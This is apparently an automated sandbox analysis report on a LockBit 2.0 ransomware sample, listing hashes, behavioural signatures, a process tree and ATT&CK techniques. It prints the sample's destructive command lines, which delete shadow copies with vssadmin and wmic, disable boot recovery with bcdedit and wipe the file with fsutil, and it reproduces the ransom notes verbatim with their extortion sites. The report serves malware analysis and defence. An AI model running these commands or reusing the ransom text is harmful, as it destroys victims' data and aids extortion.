Overview

overview

10

Static

static

5a9e1f1ec5...66.exe

windows7_x64

10

5a9e1f1ec5...66.exe

windows10-2004_x64

10

Resubmissions

24-05-2022 14:41

220524-r2jrgaadeq 10

Analysis

  • max time kernel
    27s
  • max time network
    273s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    24-05-2022 14:41

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General

  • Target

    5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe

  • Size

    959KB

  • MD5

    1923ac09a520ea22858484f88fa6d925

  • SHA1

    bda0ed6db876ce19ebca21b338d4ddcb85d3c340

  • SHA256

    5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566

  • SHA512

    ab02d27c045107510441328d5c78eab955444505179456b23737d84147030b37cefc7d7fb05bc541e122e2f91f828fdd4b53bd7747af162eb6d64fc28ded3a9c

Score
10/10
lockbitevasionpersistenceransomware

Malware Config

Extracted

Path

C:\odt\Restore-My-Files.txt

Ransom Note
LockBit 2.0 Ransomware Your data are stolen and encrypted The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom You can contact us and decrypt one file for free on these TOR sites http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion OR https://decoding.at Decryption ID: 62A6E25726A0C5D33B3CA2557022002B
URLs

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

https://bigblog.at

http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion

http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion

https://decoding.at

Extracted

Path

C:\Users\Admin\Desktop\LockBit_Ransomware.hta

Ransom Note
Any attempts to restore your files with the thrid-party software will be fatal for your files! To recovery your data and not to allow data leakage, it is possible only through purchase of a private key from us There is only one way to get your files back: Through a standard browser Brave (supports Tor links) FireFox Chrome Edge Opera Open link - https://decoding.at/ Through a Tor Browser - recommended Download Tor Browser - https://www.torproject.org/ and install it. Open one of links in Tor browser and follow instructions on these pages: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion/or mirrorhttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion/These links work only in the Tor browser! Follow the instructions on this page https://decoding.at may be blocked. We recommend using a Tor browser (or Brave) to access the TOR site Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our). Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. Tor Browser user manual https://tb-manual.torproject.org/about All your stolen important data will be loaded into our blog if you do not pay ransom. Our blog http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion or https://bigblog.at where you can see data of the companies which refused to pay ransom.
URLs

https://decoding.at/

http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion/or

https://decoding.at

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

https://bigblog.at

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe
    "C:\Users\Admin\AppData\Local\Temp\5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5112
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4708
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1168
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe"
      2⤵
        PID:4084
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit_Ransomware.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
          PID:1892
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit_Ransomware.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
            3⤵
              PID:216
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:724
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          1⤵
          • Interacts with shadow copies
          PID:480
        • C:\Windows\SysWOW64\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\5a9e1f1ec578f5ce610a2a830a63b07280688818088c7c2999a6f3f2a5d5f566.exe"
          1⤵
            PID:3096
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.7 -n 3
            1⤵
            • Runs ping.exe
            PID:1088
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
            1⤵
              PID:1964

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Initial Access

            Execution

            Persistence

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            Defense Evasion

            File Deletion

            2
            T1107

            Modify Registry

            1
            T1112

            Credential Access

            Discovery

            Query Registry

            1
            T1012

            System Information Discovery

            2
            T1082

            Remote System Discovery

            1
            T1018

            Lateral Movement

            Collection

            Exfiltration

            Command and Control

            Impact

            Inhibit System Recovery

            3
            T1490

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\Desktop\LockBit_Ransomware.hta
              Filesize

              46KB

              MD5

              c15c6adc8c923ad87981f289025c37b2

              SHA1

              bfe6533f4afe3255046f7178f289a4c75ad89e76

              SHA256

              90f3a33919fdd766e90fd96f8f20a92c2d1376b7cfdc8b738c2f8e7e6c7498b1

              SHA512

              31dd03b208e00ac012fbe4189d5af1306cc8e3640d40efefab4aa1cabab3c4735eef0cb65e7750c3c77021934e145398e5e26389975cf36b193c8f622a5fde83

              Download Submit
            • memory/216-140-0x0000000000000000-mapping.dmp
              Download
            • memory/480-131-0x0000000000000000-mapping.dmp
              Download
            • memory/1088-138-0x0000000000000000-mapping.dmp
              Download
            • memory/1168-134-0x0000000000000000-mapping.dmp
              Download
            • memory/1892-135-0x0000000000000000-mapping.dmp
              Download
            • memory/3096-139-0x0000000000000000-mapping.dmp
              Download
            • memory/4024-130-0x0000000000000000-mapping.dmp
              Download
            • memory/4084-136-0x0000000000000000-mapping.dmp
              Download
            • memory/4708-133-0x0000000000000000-mapping.dmp
              Download
            • memory/5112-132-0x0000000000000000-mapping.dmp
              Download